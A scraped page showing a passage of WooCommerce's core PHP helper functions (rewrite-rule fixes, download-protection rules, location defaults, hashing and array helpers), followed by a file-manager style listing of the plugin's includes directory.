* Flushes rewrite rules when the shop page (or it's children) gets saved. */ function flush_rewrite_rules_on_shop_page_save() { $screen = get_current_screen(); $screen_id = $screen ? $screen->id : ''; // Check if this is the edit page. if ( 'page' !== $screen_id ) { return; } // Check if page is edited. if ( empty( $_GET['post'] ) || empty( $_GET['action'] ) || ( isset( $_GET['action'] ) && 'edit' !== $_GET['action'] ) ) { // WPCS: input var ok, CSRF ok. return; } $post_id = intval( $_GET['post'] ); // WPCS: input var ok, CSRF ok. $shop_page_id = wc_get_page_id( 'shop' ); if ( $shop_page_id === $post_id || in_array( $post_id, wc_get_page_children( $shop_page_id ), true ) ) { do_action( 'woocommerce_flush_rewrite_rules' ); } } add_action( 'admin_footer', 'flush_rewrite_rules_on_shop_page_save' ); /** * Various rewrite rule fixes. * * @since 2.2 * @param array $rules Rules. * @return array */ function wc_fix_rewrite_rules( $rules ) { global $wp_rewrite; $permalinks = wc_get_permalink_structure(); // Fix the rewrite rules when the product permalink have %product_cat% flag. if ( preg_match( '`/(.+)(/%product_cat%)`', $permalinks['product_rewrite_slug'], $matches ) ) { foreach ( $rules as $rule => $rewrite ) { if ( preg_match( '`^' . preg_quote( $matches[1], '`' ) . '/\(`', $rule ) && preg_match( '/^(index\.php\?product_cat)(?!(.*product))/', $rewrite ) ) { unset( $rules[ $rule ] ); } } } // If the shop page is used as the base, we need to handle shop page subpages to avoid 404s. if ( ! $permalinks['use_verbose_page_rules'] ) { return $rules; } $shop_page_id = wc_get_page_id( 'shop' ); if ( $shop_page_id ) { $page_rewrite_rules = array(); $subpages = wc_get_page_children( $shop_page_id ); // Subpage rules. foreach ( $subpages as $subpage ) { $uri = get_page_uri( $subpage ); $page_rewrite_rules[ $uri . '/?$' ] = 'index.php?pagename=' . $uri; $wp_generated_rewrite_rules = $wp_rewrite->generate_rewrite_rules( $uri, EP_PAGES, true, true, false, false ); foreach ( $wp_generated_rewrite_rules as $key => $value ) { $wp_generated_rewrite_rules[ $key ] = $value . '&pagename=' . $uri; } $page_rewrite_rules = array_merge( $page_rewrite_rules, $wp_generated_rewrite_rules ); } // Merge with rules. $rules = array_merge( $page_rewrite_rules, $rules ); } return $rules; } add_filter( 'rewrite_rules_array', 'wc_fix_rewrite_rules' ); /** * Prevent product attachment links from breaking when using complex rewrite structures. * * @param string $link Link. * @param int $post_id Post ID. * @return string */ function wc_fix_product_attachment_link( $link, $post_id ) { $parent_type = get_post_type( wp_get_post_parent_id( $post_id ) ); if ( 'product' === $parent_type || 'product_variation' === $parent_type ) { $link = home_url( '/?attachment_id=' . $post_id ); } return $link; } add_filter( 'attachment_link', 'wc_fix_product_attachment_link', 10, 2 ); /** * Protect downloads from ms-files.php in multisite. * * @param string $rewrite rewrite rules. * @return string */ function wc_ms_protect_download_rewite_rules( $rewrite ) { if ( ! is_multisite() || 'redirect' === get_option( 'woocommerce_file_download_method' ) ) { return $rewrite; } $rule = "\n# WooCommerce Rules - Protect Files from ms-files.php\n\n"; $rule .= "<IfModule mod_rewrite.c>\n"; $rule .= "RewriteEngine On\n"; $rule .= "RewriteCond %{QUERY_STRING} file=woocommerce_uploads/ [NC]\n"; $rule .= "RewriteRule /ms-files.php$ - [F]\n"; $rule .= "</IfModule>\n\n"; return $rule . $rewrite; } add_filter( 'mod_rewrite_rules', 'wc_ms_protect_download_rewite_rules' ); /** * Formats a string in the format COUNTRY:STATE into an array. * * @since 2.3.0 * @param string $country_string Country string. * @return array */ function wc_format_country_state_string( $country_string ) { if ( strstr( $country_string, ':' ) ) { list( $country, $state ) = explode( ':', $country_string ); } else { $country = $country_string; $state = ''; } return array( 'country' => $country, 'state' => $state, ); } /** * Get the store's base location. * * @since 2.3.0 * @return array */ function wc_get_base_location() { $default = apply_filters( 'woocommerce_get_base_location', get_option( 'woocommerce_default_country' ) ); return wc_format_country_state_string( $default ); } /** * Get the customer's default location. * * Filtered, and set to base location or left blank. If cache-busting, * this should only be used when 'location' is set in the querystring. * * @since 2.3.0 * @return array */ function wc_get_customer_default_location() { $set_default_location_to = get_option( 'woocommerce_default_customer_address', 'base' ); $default_location = '' === $set_default_location_to ? '' : get_option( 'woocommerce_default_country', '' ); $location = wc_format_country_state_string( apply_filters( 'woocommerce_customer_default_location', $default_location ) ); // Geolocation takes priority if used and if geolocation is possible. if ( 'geolocation' === $set_default_location_to || 'geolocation_ajax' === $set_default_location_to ) { $ua = wc_get_user_agent(); // Exclude common bots from geolocation by user agent. if ( ! stristr( $ua, 'bot' ) && ! stristr( $ua, 'spider' ) && ! stristr( $ua, 'crawl' ) ) { $geolocation = WC_Geolocation::geolocate_ip( '', true, false ); if ( ! empty( $geolocation['country'] ) ) { $location = $geolocation; } } } // Once we have a location, ensure it's valid, otherwise fallback to a valid location. $allowed_country_codes = WC()->countries->get_allowed_countries(); if ( ! empty( $location['country'] ) && ! array_key_exists( $location['country'], $allowed_country_codes ) ) { $location['country'] = current( array_keys( $allowed_country_codes ) ); $location['state'] = ''; } return apply_filters( 'woocommerce_customer_default_location_array', $location ); } /** * Get user agent string. * * @since 3.0.0 * @return string */ function wc_get_user_agent() { return isset( $_SERVER['HTTP_USER_AGENT'] ) ? wc_clean( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; // @codingStandardsIgnoreLine } /** * Generate a rand hash. * * @since 2.4.0 * @return string */ function wc_rand_hash() { if ( ! function_exists( 'openssl_random_pseudo_bytes' ) ) { return sha1( wp_rand() ); } return bin2hex( openssl_random_pseudo_bytes( 20 ) ); // @codingStandardsIgnoreLine } /** * WC API - Hash. * * @since 2.4.0 * @param string $data Message to be hashed. * @return string */ function wc_api_hash( $data ) { return hash_hmac( 'sha256', $data, 'wc-api' ); } /** * Find all possible combinations of values from the input array and return in a logical order. * * @since 2.5.0 * @param array $input Input. * @return array */ function wc_array_cartesian( $input ) { $input = array_filter( $input ); $results = array(); $indexes = array(); $index = 0; // Generate indexes from keys and values so we have a logical sort order. foreach ( $input as $key => $values ) { foreach ( $values as $value ) { $indexes[ $key ][ $value ] = $index++; } } // Loop over the 2D array of indexes and generate all combinations. foreach ( $indexes as $key => $values ) { // When result is empty, fill with the values of the first looped array. if ( empty( $results ) ) { foreach ( $values as $value ) { $results[] = array( $key => $value ); } } else { // Second and subsequent input sub-array merging. foreach ( $results as $result_key => $result ) { foreach ( $values as $value ) { // If the key is not set, we can set it. if ( ! isset( $results[ $result_key ][ $key ] ) ) { $results[ $result_key ][ $key ] = $value; } else { // If the key is set, we can add a new combination to the results array. $new_combination = $results[ $result_key ]; $new_combination[ $key ] = $value; $results[] = $new_combination; } } } } } // Sort the ind
[+]
..
[+]
libraries
[+]
wccom-site
[-] class-wc-post-data.php
[edit]
[-] class-wc-cli.php
[edit]
[-] wc-webhook-functions.php
[edit]
[-] class-wc-data-exception.php
[edit]
[-] class-wc-shipping-zones.php
[edit]
[-] class-wc-order-item-coupon.php
[edit]
[-] class-wc-order-item.php
[edit]
[-] wc-widget-functions.php
[edit]
[-] class-wc-order-refund.php
[edit]
[-] class-wc-regenerate-images-request.php
[edit]
[-] class-wc-cart.php
[edit]
[+]
traits
[-] wc-account-functions.php
[edit]
[-] class-wc-privacy.php
[edit]
[+]
interfaces
[+]
widgets
[+]
data-stores
[-] class-wc-order-query.php
[edit]
[-] class-wc-api.php
[edit]
[-] class-wc-log-levels.php
[edit]
[+]
abstracts
[-] wc-conditional-functions.php
[edit]
[-] class-wc-install.php
[edit]
[-] class-wc-product-query.php
[edit]
[-] wc-order-functions.php
[edit]
[+]
tracks
[-] wc-core-functions.php
[edit]
[-] class-wc-cache-helper.php
[edit]
[-] class-wc-product-simple.php
[edit]
[-] class-wc-autoloader.php
[edit]
[-] wc-user-functions.php
[edit]
[-] wc-template-functions.php
[edit]
[-] class-wc-register-wp-admin-settings.php
[edit]
[-] class-wc-emails.php
[edit]
[-] class-wc-product-variable.php
[edit]
[+]
integrations
[+]
import
[-] class-wc-validation.php
[edit]
[-] class-wc-payment-tokens.php
[edit]
[-] wc-term-functions.php
[edit]
[-] class-wc-customer-download-log.php
[edit]
[-] class-wc-session-handler.php
[edit]
[-] class-wc-background-emailer.php
[edit]
[-] class-wc-post-types.php
[edit]
[+]
customizer
[-] wc-cart-functions.php
[edit]
[-] class-wc-order-item-product.php
[edit]
[-] class-wc-order-item-fee.php
[edit]
[-] wc-coupon-functions.php
[edit]
[+]
queue
[-] class-wc-order-item-shipping.php
[edit]
[-] .includes.php
[edit]
[-] class-woocommerce.php
[edit]
[-] wc-product-functions.php
[edit]
[-] wc-stock-functions.php
[edit]
[-] class-wc-geolite-integration.php
[edit]
[+]
export
[-] class-wc-structured-data.php
[edit]
[-] class-wc-https.php
[edit]
[-] class-wc-product-variation.php
[edit]
[-] class-wc-product-factory.php
[edit]
[-] class-wc-integrations.php
[edit]
[-] class-wc-product-download.php
[edit]
[-] wc-update-functions.php
[edit]
[-] class-wc-privacy-erasers.php
[edit]
[-] class-wc-geolocation.php
[edit]
[-] class-wc-shipping.php
[edit]
[-] wc-notice-functions.php
[edit]
[-] class-wc-data-store.php
[edit]
[-] class-wc-tracker.php
[edit]
[-] wc-deprecated-functions.php
[edit]
[-] class-wc-ajax.php
[edit]
[+]
payment-tokens
[-] class-wc-payment-gateways.php
[edit]
[-] wc-formatting-functions.php
[edit]
[-] class-wc-query.php
[edit]
[-] class-wc-product-grouped.php
[edit]
[+]
theme-support
[-] class-wc-shortcodes.php
[edit]
[-] class-wc-order.php
[edit]
[-] class-wc-rate-limiter.php
[edit]
[-] wc-attribute-functions.php
[edit]
[-] wc-template-hooks.php
[edit]
[+]
walkers
[-] class-wc-order-factory.php
[edit]
[+]
shipping
[-] class-wc-deprecated-action-hooks.php
[edit]
[-] class-wc-checkout.php
[edit]
[-] class-wc-rest-exception.php
[edit]
[+]
admin
[-] wc-page-functions.php
[edit]
[-] class-wc-shipping-rate.php
[edit]
[-] class-wc-product-external.php
[edit]
[-] class-wc-breadcrumb.php
[edit]
[-] class-wc-cart-session.php
[edit]
[-] class-wc-customer-download.php
[edit]
[-] class-wc-privacy-background-process.php
[edit]
[-] class-wc-customer.php
[edit]
[+]
cli
[-] class-wc-coupon.php
[edit]
[-] class-wc-cart-fees.php
[edit]
[-] class-wc-logger.php
[edit]
[-] class-wc-datetime.php
[edit]
[+]
legacy
[-] class-wc-rest-authentication.php
[edit]
[-] class-wc-embed.php
[edit]
[-] class-wc-geo-ip.php
[edit]
[+]
gateways
[-] class-wc-frontend-scripts.php
[edit]
[-] class-wc-shipping-zone.php
[edit]
[-] class-wc-form-handler.php
[edit]
[-] class-wc-deprecated-filter-hooks.php
[edit]
[+]
log-handlers
[-] class-wc-comments.php
[edit]
[-] class-wc-discounts.php
[edit]
[-] class-wc-privacy-exporters.php
[edit]
[+]
emails
[-] class-wc-tax.php
[edit]
[-] wc-order-item-functions.php
[edit]
[-] class-wc-meta-data.php
[edit]
[-] class-wc-download-handler.php
[edit]
[-] class-wc-order-item-tax.php
[edit]
[-] wc-rest-functions.php
[edit]
[-] class-wc-auth.php
[edit]
[-] class-wc-product-attribute.php
[edit]
[-] class-wc-order-item-meta.php
[edit]
[-] class-wc-background-updater.php
[edit]
[-] class-wc-template-loader.php
[edit]
[-] class-wc-cart-totals.php
[edit]
[-] class-wc-webhook.php
[edit]
[-] class-wc-regenerate-images.php
[edit]
[-] class-wc-countries.php
[edit]
[+]
shortcodes